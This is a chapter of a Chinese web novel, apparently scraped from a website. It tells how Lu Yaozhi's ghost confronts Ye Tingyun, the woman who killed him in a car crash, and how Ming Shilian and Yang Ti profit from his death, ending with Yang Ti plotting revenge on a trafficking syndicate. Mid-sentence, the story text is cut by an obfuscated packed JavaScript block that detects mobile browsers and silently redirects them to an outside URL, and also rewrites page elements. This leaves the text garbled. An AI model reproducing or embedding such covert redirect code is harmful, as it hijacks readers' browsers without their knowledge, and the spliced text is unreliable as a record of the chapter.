60. 起势(14)
作品:《被前男友抛弃后,我娶了他儿子》 在地下,陆曜之见到了叶婷云。
这里没有光,也没有所谓的“地狱景象”,只有一片混沌的、意识能感知到的虚无空间。陆曜之的“形态”维持着他生命最后一刻的惨状——扭曲的肢体,烧焦破碎的西装,半边脸被烈焰舔舐得面目全非,另一只完好的眼睛因剧痛和恐惧而圆睁着。他趴伏在无形的“地面”上,每一次试图凝聚意识的动作,都牵扯着虚幻却尖锐的痛楚。
一阵柔和却冰冷的光晕在他前方亮起,光中走出的,是叶婷云。不是那个憔悴麻木、眼藏惊惧的叶婷云,而是她二十岁出头的模样——肌肤莹润,眼眸清亮,长发如瀑,穿着一身淡雅的藕荷色连衣裙,那是陆曜之记忆中她最美的样子。她步履轻盈,光彩照人,与这片死寂的混沌格格不入。
陆曜之趴在地上,费力地想抬头去看叶婷云,却被对方一脚踩底下。没有触感,但一种源自灵魂阶层的压制,让陆曜之的形态瞬间溃散了几分。
“陆曜之。”叶婷云开口她的声音还是那么甜美,但却阴气森森的:“急什么?黄泉路长,你且慢慢走。上去的路,你已经没了。不如留在这里,好好看着。”
陆曜之想不明白,这个被他牢牢掌控、洗脑、视为私有物与所有情绪宣泄口的女人,这个连自我都几乎放弃的女人,怎么会……怎么可能做出同归于尽的选择?她怎么敢?!
“你……是叶婷云吗?”
叶婷云甜甜地扬起嘴角,那笑容绽放在她青春美丽的脸上,却比这地下深渊更令人胆寒。她笑得越甜,眼底的恨意就越浓。
“是啊,没想到吧?我也下来啦。不过,能亲手把你拽下来,看着你比我先咽气……我真开心呀。陆曜之,当你羞辱我和我孩子时,你有想到今天吗?”
陆曜之的魂体僵住了。恐惧?不,更多是难以置信的荒谬和暴怒。他死了!他陆曜之,南淮的天之骄子,陆氏帝国的继承人,竟然死在一个他从未正眼瞧过的玩物手里!财富、权力、精心构筑的财富帝国……顷刻间烟消云散!现在,他和这个他视为蝼蚁的女人,在这该死的鬼地方,竟然成了某种可悲的“平等”!
“叶婷云!你疯了!你知不知道你毁了什——”陆曜之不甘的咆哮试图冲口而出。
“别急,别喊。你的报应,才刚刚开始呢。”叶婷云伸出食指,抵在唇边,做了个噤声的手势。然后她抬起脚,用尽全身力气般,狠狠跺下!高跟鞋的幻影一次次践踏着陆曜之魂体的头颅和胸膛,尽管没有声音,但那决绝的姿态,宣泄着积压了一生的屈辱与仇恨。
“疼吗?哦,我忘了,你已经感觉不到了。”叶婷云终于停了下来,微微喘息,脸上泛起病态的红晕:“但你会看到的。杨媞会毁了你海外见不得光的生意,抽干你的黑金血脉。明世涟会挖空你的陆氏,把它变成明家的养分……你费尽心机构筑的一切,都会土崩瓦解。这个世界上,不会再有人记得陆曜之是个多么了不起的人物,只会记得你是个死得滑稽、身败名裂的可怜虫!”
“你会看着你亲手塑造的帝国崩溃,杨媞她会毁灭你的所有,包括塑造你的根基,世界上,不会再出现第二个你了!”
陆曜之眼神一凝:“你做了什么!”
“我?”叶婷云轻笑,伸出手。那只纤细白皙的手,轻易地穿过了陆曜之魂体的脖子,仿佛抓住一团雾气,然后——轻轻一折。
陆曜之的头与身体分离了,被她捧在手中。两者以诡异的方式对视着。
这时,叶婷云身后那片混沌深处,亮起了一团温暖、纯净、难以形容的光芒。仿佛有什么更高层次的存在,正在接引她。
“告诉你一个秘密吧。”叶婷云捧着他的头凑近,用情人般呢喃的语气说着最残忍的话:“撞死你的主意,是明世涟帮我完善的。怎么踩油门,怎么选角度,怎么确保你爹那个老东西也在车上……她想吃绝户,想得都快疯了。而我,只想你死。”
“至于杨媞……”她眼中闪过一丝敬佩和得意:“她在算计你怎么用西行省那些脏钱喂饱的海外资产呢。陆曜之,你抬头看看,你活着的时候,把女人当台阶,当玩物,当垫脚石。你死了,她们踩着你的尸骨,一个要钱,一个要权,活得多精彩啊。”
她松开手,陆曜之的头颅坠落。
“去吧,陆曜之。你的魂魄还得在这世间飘荡些年头呢。好好看着,这场由你开启的盛宴,最后是怎么把你啃得连骨头都不剩的。十年,二十年……有的看呢。”
光芒吞没了叶婷云的身影。陆曜之的意识和形态在混沌中翻滚、重组,下一秒,他被一股无形的力量拉扯,猛地“睁”开了眼。
陆曜之看到了自己的灵堂。
黑白肃穆,鲜花簇拥。水晶棺椁里,是他那具经过殡仪师精心修补、却仍难掩可怖的遗体。当时叶婷云是直接满速追尾了陆曜之家的车,她的改造越野怼进了陆曜之家的车屁股,导致油箱殉爆,陆曜之的父亲和叶婷云是当场被炸死,而陆曜之被折断的AB柱插穿了肺部,爆炸和燃烧的油箱炸断了他的腿,在剧痛和撕裂中最终咽下了最后一口气——所以殡仪师还能把他尸体拼起来也挺不容易的。叶婷云那一下决绝的追尾,不仅带走了他和父亲,也让自己瞬间汽化。真狠啊。
陆曜之的视线落在棺椁旁那个一身缟素的女人身上。
明世涟在他的身边啜泣着,她一身素白,哀伤破碎,美得像个雕塑,是个非常吸引人的寡妇。
……感觉不像是哀悼老公死的,更像庆祝老公死的寡妇。
他想起自己曾得意洋洋地对朋友说的“人生三大乐事”——“升官发财死老婆”。如今,他真的死了,而他法律意义上的妻子,即将升官发财。明世涟根本不需要另觅高枝,她只需稳坐未亡人的位置,就能名正言顺地接管、分割、吞噬。她外面那些情人和私生子,很快就会浮出水面,瓜分原本属于他陆曜之的一切。
是的,明世涟确实出轨了,她和陆曜之名义上的第二个孩子就明世涟和情人生的,但如果闹出来太难看,那么市场就会谣传夫妻离婚,这对企业股价影响很大。
他们这种家庭的婚姻,本就是资本的枷锁。不能离婚,只能丧偶。
一股滔天的怒火和屈辱冲垮了陆曜之残存的理智!他想扑过去,想掐死这个毒妇!想怒吼,想撕烂这个女人!
可他的魂体穿过明世涟的身体,如同穿过一阵轻风。他什么也做不了。他甚至不如灵堂里一只嗡嗡飞过的苍蝇惹人厌烦。
明世涟还在哭,但她快笑出来了,只是手绢里包的生姜还能勉强让她挤出几滴眼泪。
他暴怒地咆哮,无声地咒骂,在灵堂里横冲直撞,却连一缕香烛的青烟都无法吹动。
“呵……”一声极轻的、带着无尽嘲讽的嗤笑,仿佛直接响在他的意识深处。那是叶婷云残留的意念吗?
对明世涟来说,是多么完美的结局啊。陆曜之只能无能狂怒了。
陆曜之感到一种前所未有的虚弱和绝望。他不再看灵堂里那令人作呕的表演,魂体一荡,凭着某种执念的牵引,去往他此刻想确认的另外一个人——杨媞。
然后他就惊呆了。
这是一间极尽雅致私密的茶室。陆曜之认得这里,这个会所是南淮顶级隐秘的销金窟之一,一杯茶的价钱够普通人家数月开销。
杨媞独自坐在临窗的软榻上。
陆曜之看着她,第一次如此仔细地、剥离了滤镜地观察这个他曾经弃如敝履的女人。
她变了。不再是记忆中那个带着南络口音、衣着土气、眼神里藏着惊惶与讨好的瘦小女子。她穿着一身质料考究的烟灰色套装,短发贴耳,露出光洁的额头和脖颈。皮肤是健康的小麦色,看上去是常年在外奔波的实业家,而非办公室里的小资。但那双曾经怯懦的眼睛,此刻沉静如深潭,透着锐利和掌控感。杨媞指尖轻轻点着紫砂杯沿,姿态松弛,却自有一股不容忽视的气场。
她怎么会在这里?她凭什么在这里?陆曜之的意识和生前一样,率先涌起的是鄙夷和难以置信。一个底层爬上来的暴发户,懂什么是品味?她在这里,只能是攀附了新的金主,等着献媚……
就在他恶意揣测时,茶室的门被轻轻推开。
进来的不是一个脑满肠肥的金主,而是一个看起来不过二十出头的年轻男子。身高腿长,容貌俊秀,穿着简单的白T和休闲裤,却掩不住蓬
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16932700|180271||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
勃的青春气息和锻炼得恰到好处的身形。
男子看到杨媞,脸上露出干净又带着些许仰慕的笑容,乖顺地走到她身边坐下。杨媞很自然地伸出手,撩起男子的T恤下摆,手掌直接贴上了那线条分明的腹肌,缓缓摩挲。男子微微脸红,却没有任何抗拒,甚至主动调整了一下坐姿让她摸得更顺手。杨媞的表情没什么变化,仿佛在抚摸一件精美的器物,或者检查自己拥有的资产。她的目光甚至没完全落在男子身上,而是依旧带着思索,望着窗外流淌的城市光影。
她不是在等待金主。她本身就是金主。她在享用,在消费。
陆曜之心里涌出一股复杂的情绪,他依旧愤怒,但愤怒之余,他也开始恐惧。
他意识到,其实没有他,这些女人可以过得更好。
他意识到,这些女人,实力完全比他更强。
他的存在,对她们而言,从来不是阶梯或依靠,而是枷锁和灾难。
他的死亡,对她们而言,不是损失,而是解脱和机遇。
无人需要陆曜之这个人。他们需要的,只是“陆曜之”这个名字所代表的权势和财富。如今他死了,盛大的鲸落降临,海底的群鲨争食,无人为鲸鱼的死亡哀悼,只为能分到多少血肉而兴奋。
而他当年踩在脚下、视为垫脚石的女人,如今已然成为角逐的鲨鱼之一。
陆曜之的魂体发出无声的、凄厉的尖啸,却最终被这茶室的静谧和杨媞那平淡却刺眼的姿态所吞噬。他不甘怨毒地盯了杨媞最后一眼。最终,他的魂体像是耗尽了力气,溃散成更淡的阴影,没入房间角落的黑暗之中。
陆曜之的死,如同一块巨石砸入南淮这片深水,激起千层浪。
媒体的狂欢接踵而至。惨烈的车祸细节,叶婷云情妇身份的曝光,以及明世涟方面“适时”流出的、关于陆曜之长期婚内出轨、冷暴力、甚至意图转移婚内财产的重磅黑料……每一件都足够引爆舆论。曾经高高在上的陆家二公子,瞬间跌落神坛,成为街头巷尾津津乐道的丑闻主角,死后的名声彻底臭不可闻。无人惋惜,只有猎奇的讨论和道德的批判,正如他生前从不在意他人的痛苦与名誉。
陆氏财团的股价像坐上了过山车,剧烈震荡。家族内部,围绕遗产的争夺战悄然打响,暗流汹涌。明世涟一身素缟,以未亡人身份周旋其间,她的悲伤如此“真实”,她的手段如此“合理”,让人挑不出错处,只能眼睁睁看着陆氏的版图悄然变色。
而杨媞,则要开始她的下一步计划——弄死杨天赐。
陆曜之的死,像抽掉了一块关键的拼图。杨媞动用安诺的部分资源和阮耶娜提供的渠道深入调查,更多陆氏与西行犯罪集团勾结的线索浮出水面。资金流向的片段,模糊的通信记录,某些重合的海外空壳公司……证据链在慢慢补全。
与此同时,潜伏在西行省的情报源传回消息:随着陆家这个最大、最稳定的高级掮客突然倒台,西行三大家族的“高端生意”(指向杜勒比等地的特殊人口贩卖)受到了显著影响。资金链出现紧张,几个预定的“大单”莫名停滞,内部开始出现焦虑和互相指责的声音。
根据杨媞的了解,西行犯罪家族主要做三种生意:电信诈骗、人口买卖、人体买卖。陆曜之的陆家作为掮客,为这些犯罪家族提供买家,通过一层又一层的剥削链条和供应链,将许多世界上的顶级权贵隐匿于黑暗之中,这样即使暴怒的受害者要追责,也只能查到西行犯罪家族,而这些犯罪行为背后真正的操纵者却可以被无视。
诶,世界就是个巨大的马太效应,富贵愈权贵,贱民愈贱命。她杨媞无力改变这庞大的系统。
但,那又如何?
杨媞不需要撼动世界根基,她只需要在这既定的规则棋盘上,成为更优秀的棋手。利用现有的矛盾——陆曜之死后留下的权力真空和资金缺口,三大家族内部的猜忌与贪婪,以及杨天赐那膨胀又脆弱的野心——足以掀起一场毁灭他们的风暴。
杨天赐啊,你的末日要到了。
家乡的旧人们啊,我会让你们血流成河,直到我满意为止。
我是掀起一切的风暴,我是终结一切的狂潮。

